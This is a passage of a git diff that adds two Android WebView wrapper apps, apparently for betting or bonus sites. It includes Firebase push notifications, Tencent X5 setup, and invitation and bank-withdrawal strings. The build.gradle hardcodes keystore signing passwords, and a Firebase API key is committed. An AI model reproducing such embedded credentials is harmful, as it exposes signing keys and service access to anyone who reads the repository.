+ + + + + + + + + + + + + + + \ No newline at end of file diff --git a/betmana96/src/main/java/com/web/betmana96/MainActivity.java b/betmana96/src/main/java/com/web/betmana96/MainActivity.java new file mode 100644 index 0000000..f00b9e0 --- /dev/null +++ b/betmana96/src/main/java/com/web/betmana96/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.betmana96; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 217; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","http://betmana96.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#010100"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#020100"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色t + setBackDrawables(R.drawable.big_bg); + setImageView(false); + showTopV1.setImageResource(R.mipmap.logo11); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/betmana96/src/main/java/com/web/betmana96/MyFirebaseMessageingService.java b/betmana96/src/main/java/com/web/betmana96/MyFirebaseMessageingService.java new file mode 100644 index 0000000..eab7279 --- /dev/null +++ b/betmana96/src/main/java/com/web/betmana96/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.betmana96; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/betmana96/src/main/java/com/web/betmana96/WebApplication.java b/betmana96/src/main/java/com/web/betmana96/WebApplication.java new file mode 100644 index 0000000..67e59fc --- /dev/null +++ b/betmana96/src/main/java/com/web/betmana96/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.betmana96; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/betmana96/src/main/res/drawable-anydpi/ic_action_back.xml b/betmana96/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/betmana96/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/betmana96/src/main/res/drawable-hdpi/ic_action_back.png b/betmana96/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/betmana96/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/betmana96/src/main/res/drawable-mdpi/ic_action_back.png b/betmana96/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/betmana96/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/betmana96/src/main/res/drawable-v24/ic_launcher_foreground.xml b/betmana96/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/betmana96/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/betmana96/src/main/res/drawable-xhdpi/ic_action_back.png b/betmana96/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/betmana96/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/betmana96/src/main/res/drawable-xxhdpi/ic_action_back.png b/betmana96/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/betmana96/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/betmana96/src/main/res/drawable/big_bg.xml b/betmana96/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..ff8e4da --- /dev/null +++ b/betmana96/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/betmana96/src/main/res/drawable/ic_launcher_background.xml b/betmana96/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/betmana96/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/betmana96/src/main/res/drawable/input_bg.xml b/betmana96/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/betmana96/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/betmana96/src/main/res/drawable/pass_word_bg.xml b/betmana96/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/betmana96/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/betmana96/src/main/res/drawable/pass_word_bg1.xml b/betmana96/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/betmana96/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/betmana96/src/main/res/drawable/pass_word_bg2.xml b/betmana96/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/betmana96/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/betmana96/src/main/res/drawable/shape_btn_bg.xml b/betmana96/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/betmana96/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/betmana96/src/main/res/drawable/shape_dialog_bg2.xml b/betmana96/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/betmana96/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/betmana96/src/main/res/drawable/shape_dialog_bg3.xml b/betmana96/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/betmana96/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/betmana96/src/main/res/drawable/shape_dialog_bg_new.xml b/betmana96/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/betmana96/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/betmana96/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/betmana96/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/betmana96/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/betmana96/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/betmana96/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/betmana96/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/betmana96/src/main/res/mipmap-hdpi/ic_empty.png b/betmana96/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/betmana96/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/betmana96/src/main/res/mipmap-hdpi/ic_pull_down.png b/betmana96/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/betmana96/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/betmana96/src/main/res/mipmap-xhdpi/ic_close.png b/betmana96/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/betmana96/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/betmana96/src/main/res/mipmap-xhdpi/ic_menu.png b/betmana96/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/betmana96/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/betmana96/src/main/res/mipmap-xxhdpi/app_logo.jpg b/betmana96/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..9155d96 Binary files /dev/null and b/betmana96/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/betmana96/src/main/res/mipmap-xxhdpi/logo11.png b/betmana96/src/main/res/mipmap-xxhdpi/logo11.png new file mode 100644 index 0000000..8ac7359 Binary files /dev/null and b/betmana96/src/main/res/mipmap-xxhdpi/logo11.png differ diff --git a/betmana96/src/main/res/values-en/strings.xml b/betmana96/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/betmana96/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/betmana96/src/main/res/values-night/themes.xml b/betmana96/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/betmana96/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/betmana96/src/main/res/values/colors.xml b/betmana96/src/main/res/values/colors.xml new file mode 100644 index 0000000..a54070e --- /dev/null +++ b/betmana96/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #010100 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/betmana96/src/main/res/values/strings.xml b/betmana96/src/main/res/values/strings.xml new file mode 100644 index 0000000..3d3f38a --- /dev/null +++ b/betmana96/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + BetMana96 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/betmana96/src/main/res/values/themes.xml b/betmana96/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/betmana96/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/betmana96/src/main/res/xml/app_updater_paths.xml b/betmana96/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/betmana96/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/betmana96/src/main/res/xml/network_security_config.xml b/betmana96/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/betmana96/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/betmana96/src/main/res/xml/provider_paths.xml b/betmana96/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/betmana96/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/betmana96/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/betmana96/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/betmana96/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/bigbonus/.gitignore b/bigbonus/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/bigbonus/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/bigbonus/build.gradle b/bigbonus/build.gradle new file mode 100644 index 0000000..834f9d5 --- /dev/null +++ b/bigbonus/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.bigbonus" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "bigbonus" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base') +} \ No newline at end of file diff --git a/bigbonus/google-services.json b/bigbonus/google-services.json new file mode 100644 index 0000000..6752f30 --- /dev/null +++ b/bigbonus/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "272155388191", + "project_id": "bigbonus-82af9", + "storage_bucket": "bigbonus-82af9.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:272155388191:android:abe8fe70214d24c12f682a", + "android_client_info": { + "package_name": "com.web.bigbonus" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCcZsrT2Oxnlbr0-kmtEl1fqFgWttHn-dY" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/bigbonus/ppn.jks b/bigbonus/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/bigbonus/ppn.jks differ diff --git a/bigbonus/proguard-rules.pro b/bigbonus/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/bigbonus/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/bigbonus/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/bigbonus/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/bigbonus/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/bigbonus/src/main/AndroidManifest.xml b/bigbonus/src/main/AndroidManifest.xml new file mode 100644 index 0000000..187ff02 --- /dev/null +++ b/bigbonus/src/main/AndroidManifest.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bigbonus/src/main/java/com/web/bigbonus/MainActivity.java b/bigbonus/src/main/java/com/web/bigbonus/MainActivity.java new file mode 100644 index 0000000..1d53b77 --- /dev/null +++ b/bigbonus/src/main/java/com/web/bigbonus/MainActivity.java @@ -0,0 +1,44 @@ +package com.web.bigbonus; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 154; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://bigbonus.me/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#FFFFFF"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#FFFFFF"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/bigbonus/src/main/java/com/web/bigbonus/MyFirebaseMessageingService.java b/bigbonus/src/main/java/com/web/bigbonus/MyFirebaseMessageingService.java new file mode 100644 index 0000000..8a134d4 --- /dev/null +++ b/bigbonus/src/main/java/com/web/bigbonus/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.bigbonus; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + 